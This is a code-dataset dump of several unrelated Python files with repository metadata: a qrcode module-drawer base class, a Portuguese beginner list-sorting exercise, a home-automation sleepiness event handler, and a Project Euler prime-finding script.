from __future__ import absolute_import import abc from typing import TYPE_CHECKING, Union if TYPE_CHECKING: from qrcode.image.base import BaseImage from qrcode.main import ActiveWithNeighbors class QRModuleDrawer(abc.ABC): """ QRModuleDrawer exists to draw the modules of the QR Code onto images. For this, technically all that is necessary is a ``drawrect(self, box, is_active)`` function which takes in the box in which it is to draw, whether or not the box is "active" (a module exists there). If ``needs_neighbors`` is set to True, then the method should also accept a ``neighbors`` kwarg (the neighboring pixels). It is frequently necessary to also implement an "initialize" function to set up values that only the containing Image class knows about. For examples of what these look like, see doc/module_drawers.png """ needs_neighbors = False def __init__(self, **kwargs): pass def initialize(self, img: "BaseImage") -> None: self.img = img @abc.abstractmethod def drawrect(self, box, is_active: "Union[bool, ActiveWithNeighbors]") -> None: ...

140

0

80

f50f6421c88a6048b74f4b57e50eb679c1cc0e74

1,259

py

Python

Fundamentos/Aula 17- Listas (parte 1)/exercicio80.py

andrecrocha/Fundamentos-Python

e18a187945c3478d3b37bb3f350d0ca72e5bcc7a

[ "MIT" ]

null

Fundamentos/Aula 17- Listas (parte 1)/exercicio80.py

andrecrocha/Fundamentos-Python

e18a187945c3478d3b37bb3f350d0ca72e5bcc7a

[ "MIT" ]

null

Fundamentos/Aula 17- Listas (parte 1)/exercicio80.py

andrecrocha/Fundamentos-Python

e18a187945c3478d3b37bb3f350d0ca72e5bcc7a

[ "MIT" ]

null

"""Desafio 80. Ler cinco valores númericos e ir colocando eles na lista de modo ordenado sem usar o método sort""" numeros = list() for cont in range(0, 5): num = int(input("Escreva um número: ")) if cont == 0: numeros.append(num) elif cont == 1: if num >= numeros[0]: numeros.append(num) else: numeros.insert(0, num) elif cont == 2: if num >= numeros[1]: numeros.append(num) elif num <= numeros[0]: numeros.insert(0, num) else: numeros.insert(1, num) elif cont == 3: if num >= numeros[2]: numeros.append(num) elif num <= numeros[0]: numeros.insert(0, num) elif num > numeros[0] and num <= numeros[1]: numeros.insert(1, num) else: numeros.insert(2, num) elif cont == 4: if num >= numeros[3]: numeros.append(num) elif num <= numeros[0]: numeros.insert(0, num) elif num > numeros[0] and num <= numeros[1]: numeros.insert(1, num) elif num > numeros[1] and num <= numeros[2]: numeros.insert(2, num) else: numeros.insert(3, num) print(numeros)

26.229167

114

0.513106

"""Desafio 80. Ler cinco valores númericos e ir colocando eles na lista de modo ordenado sem usar o método sort""" numeros = list() for cont in range(0, 5): num = int(input("Escreva um número: ")) if cont == 0: numeros.append(num) elif cont == 1: if num >= numeros[0]: numeros.append(num) else: numeros.insert(0, num) elif cont == 2: if num >= numeros[1]: numeros.append(num) elif num <= numeros[0]: numeros.insert(0, num) else: numeros.insert(1, num) elif cont == 3: if num >= numeros[2]: numeros.append(num) elif num <= numeros[0]: numeros.insert(0, num) elif num > numeros[0] and num <= numeros[1]: numeros.insert(1, num) else: numeros.insert(2, num) elif cont == 4: if num >= numeros[3]: numeros.append(num) elif num <= numeros[0]: numeros.insert(0, num) elif num > numeros[0] and num <= numeros[1]: numeros.insert(1, num) elif num > numeros[1] and num <= numeros[2]: numeros.insert(2, num) else: numeros.insert(3, num) print(numeros)

0

55152ae4ed033b4f1f9ed1f8bf792107931a99b0

785

py

Python

ws/handler/event/enum/sleepiness.py

fabaff/automate-ws

a9442f287692787e3f253e1ff23758bec8f3902e

[ "MIT" ]

null

ws/handler/event/enum/sleepiness.py

fabaff/automate-ws

a9442f287692787e3f253e1ff23758bec8f3902e

[ "MIT" ]

1

2021-12-21T11:34:47.000Z

ws/handler/event/enum/sleepiness.py

fabaff/automate-ws

a9442f287692787e3f253e1ff23758bec8f3902e

[ "MIT" ]

1

2021-12-21T10:10:13.000Z

import home from ws.handler.event.enum import Handler as Parent

27.068966

53

0.598726

import home from ws.handler.event.enum import Handler as Parent class Handler(Parent): KLASS = home.event.sleepiness.Event TEMPLATE = "event/enum.html" LABEL = "User is" def _get_str(self, e): if e == home.event.sleepiness.Event.Asleep: return "asleep" elif e == home.event.sleepiness.Event.Awake: return "awake" elif e == home.event.sleepiness.Event.Sleepy: return "sleepy" return e def get_icon(self, e): if e == home.event.sleepiness.Event.Asleep: return "fas fa-bed" elif e == home.event.sleepiness.Event.Awake: return "fas fa-business-time" elif e == home.event.sleepiness.Event.Sleepy: return "fas fa-couch" return e

545

151

23

af0b6fe564278c898bbc8ad18ad8f8d7dcf8139c

324

py

Python

7.py

Polar1ty/euler_problems

bc1cd917d95d1b63b80a0b182dbd5e9f90a95d90

[ "MIT" ]

2

2020-06-09T10:35:12.000Z

2020-06-09T11:32:16.000Z

7.py

Polar1ty/euler_problems

bc1cd917d95d1b63b80a0b182dbd5e9f90a95d90

[ "MIT" ]

null

7.py

Polar1ty/euler_problems

bc1cd917d95d1b63b80a0b182dbd5e9f90a95d90

[ "MIT" ]

null

i = 3 shit_indicator = 0 simple_nums = [2] while len(simple_nums) < 10001: for k in range(2, i): if i % k == 0: shit_indicator = 1 break if shit_indicator == 1: pass else: simple_nums.append(i) i += 1 shit_indicator = 0 print(simple_nums[-1])

21.6

32

0.518519

i = 3 shit_indicator = 0 simple_nums = [2] while len(simple_nums) < 10001: for k in range(2, i): if i % k == 0: shit_indicator = 1 break if shit_indicator == 1: pass else: simple_nums.append(i) i += 1 shit_indicator = 0 print(simple_nums[-1])

0